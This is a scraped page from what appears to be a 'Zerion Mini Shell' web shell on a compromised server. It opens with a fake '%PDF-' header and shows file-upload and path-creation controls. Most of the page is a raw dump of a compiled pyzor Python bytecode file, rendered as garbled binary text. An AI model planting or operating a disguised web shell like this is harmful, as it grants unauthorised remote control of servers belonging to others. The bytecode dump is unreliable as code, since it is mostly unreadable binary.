%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.6/site-packages/pyzor/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.6/site-packages/pyzor/__pycache__/message.cpython-36.pyc

3

�2�^��@sdZddlZddlZddlZGdd�dejj�ZGdd�de�ZGdd�de�ZGd	d
�d
e�Z	Gdd�de	�Z
Gd
d�de
�ZGdd�de�ZGdd�de
�Z
Gdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZdS)zZThis modules contains the various messages used in the pyzor client server
communication.
�Nc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�MessagecCstjjj|�|j�dS)N)�email�messager�__init__�setup)�self�r�/usr/lib/python3.6/message.pyrszMessage.__init__cCsdS)Nr)rrrr	rsz
Message.setupcCs|j�dS)N)�ensure_complete)rrrr	�init_for_sendingszMessage.init_for_sendingcCs|j�S)N)Z	as_string)rrrr	�__str__szMessage.__str__cCsdS)Nr)rrrr	r
szMessage.ensure_completeN)�__name__�
__module__�__qualname__rrrrr
rrrr	rs
rc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�ThreadedMessagecCs>d|kr|jtj��d|ks"t�ttj�|d<tj|�dS)N�Thread�PV)	�
set_thread�ThreadId�generate�AssertionError�str�pyzorZ
proto_versionrr)rrrr	rs
z ThreadedMessage.init_for_sendingcCs(d|ksd|krtjd��tj|�dS)Nrrz*Doesn't have fields for a ThreadedMessage.)r�IncompleteMessageErrorrr
)rrrr	r
&s
zThreadedMessage.ensure_completecCst|d�S)Nr)�float)rrrr	�get_protocol_version,sz$ThreadedMessage.get_protocol_versioncCst|d�S)Nr)r)rrrr	�
get_thread/szThreadedMessage.get_threadcCst|�|d<dS)Nr)r)r�irrr	r2szThreadedMessage.set_threadN)r
rrrr
rrrrrrr	rs
rc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�Response��cCs(d|ksd|krtjd��tj|�dS)N�Code�Diagz"doesn't have fields for a Response)rrrr
)rrrr	r
9s
zResponse.ensure_completecCs|j�|jkS)N)�get_code�ok_code)rrrr	�is_ok?szResponse.is_okcCst|d�S)Nr )�int)rrrr	r"BszResponse.get_codecCs|dS)Nr!r)rrrr	�get_diagEszResponse.get_diagcCs|j�|j�fS)N)r"r&)rrrr	�
head_tupleHszResponse.head_tupleN)	r
rrr#r
r$r"r&r'rrrr	r6src@s eZdZdZdd�Zdd�ZdS)�Requestz�This is the class that should be used to read in Requests of any type.
    Subclasses are responsible for setting 'Op' if they are generating a
    message,cCs|dS)N�Opr)rrrr	�get_opQszRequest.get_opcCs d|krtjd��tj|�dS)Nr)z!doesn't have fields for a Request)rrrr
)rrrr	r
Ts
zRequest.ensure_completeN)r
rr�__doc__r*r
rrrr	r(Lsr(c@seZdZdZdd�ZdS)�ClientSideRequestNcCstj|�|j|d<dS)Nr))r(r�op)rrrr	r^s
zClientSideRequest.setup)r
rrr-rrrrr	r,[sr,c@seZdZddd�Zdd�ZdS)�SimpleDigestBasedRequestNcCs"tj|�d|_|r|j|�dS)Nr)r,r�digest_count�
add_digest)r�digestrrr	rds
z!SimpleDigestBasedRequest.__init__cCs|jd|�|jd7_dS)Nz	Op-Digest�)Z
add_headerr/)rr1rrr	r0jsz#SimpleDigestBasedRequest.add_digest)N)r
rrrr0rrrr	r.cs
r.c@seZdZddd�ZdS)�SimpleDigestSpecBasedRequestNcCs:tj||�|r6dd�|D�}djdd�|D��|d<dS)NcSsg|]}|D]}|�qqSrr)�.0Zsublist�itemrrr	�
<listcomp>ssz9SimpleDigestSpecBasedRequest.__init__.<locals>.<listcomp>�,css|]}t|�VqdS)N)r)r4�partrrr	�	<genexpr>tsz8SimpleDigestSpecBasedRequest.__init__.<locals>.<genexpr>zOp-Spec)r.r�join)rr1�specZ	flat_specrrr	rpsz%SimpleDigestSpecBasedRequest.__init__)NN)r
rrrrrrr	r3osr3c@seZdZdZdS)�PingRequestZpingN)r
rrr-rrrr	r<wsr<c@seZdZdZdS)�PongRequestZpongN)r
rrr-rrrr	r={sr=c@seZdZdZdS)�CheckRequestZcheckN)r
rrr-rrrr	r>sr>c@seZdZdZdS)�InfoRequest�infoN)r
rrr-rrrr	r?�sr?c@seZdZdZdS)�
ReportRequestZreportN)r
rrr-rrrr	rA�srAc@seZdZdZdS)�WhitelistRequestZ	whitelistN)r
rrr-rrrr	rB�srBc@s<eZdZdZdedfZdZdd�Zedd	��Zd
d�Z	dS)rr��ir2cCs<tj||�}|jd|ko*|jdkns8td��|S)Nrr2zvalue outside of range)r%�__new__�
full_range�
ValueError)�clsrrrrr	rE�s$zThreadId.__new__cCs|tj|j��S)N)�randomZ	randrange�ok_range)rHrrr	r�szThreadId.generatecCs$|jd|ko|jdkSS)Nrr2)rJ)rrrr	�in_ok_range�szThreadId.in_ok_rangeN�)rrL)
r
rrrFrJZerror_valuerE�classmethodrrKrrrr	r�sr)r+rIZ
email.messagerrrrrrr(r,r.r3r<r=r>r?rArBr%rrrrr	�<module>s"

Zerion Mini Shell 1.0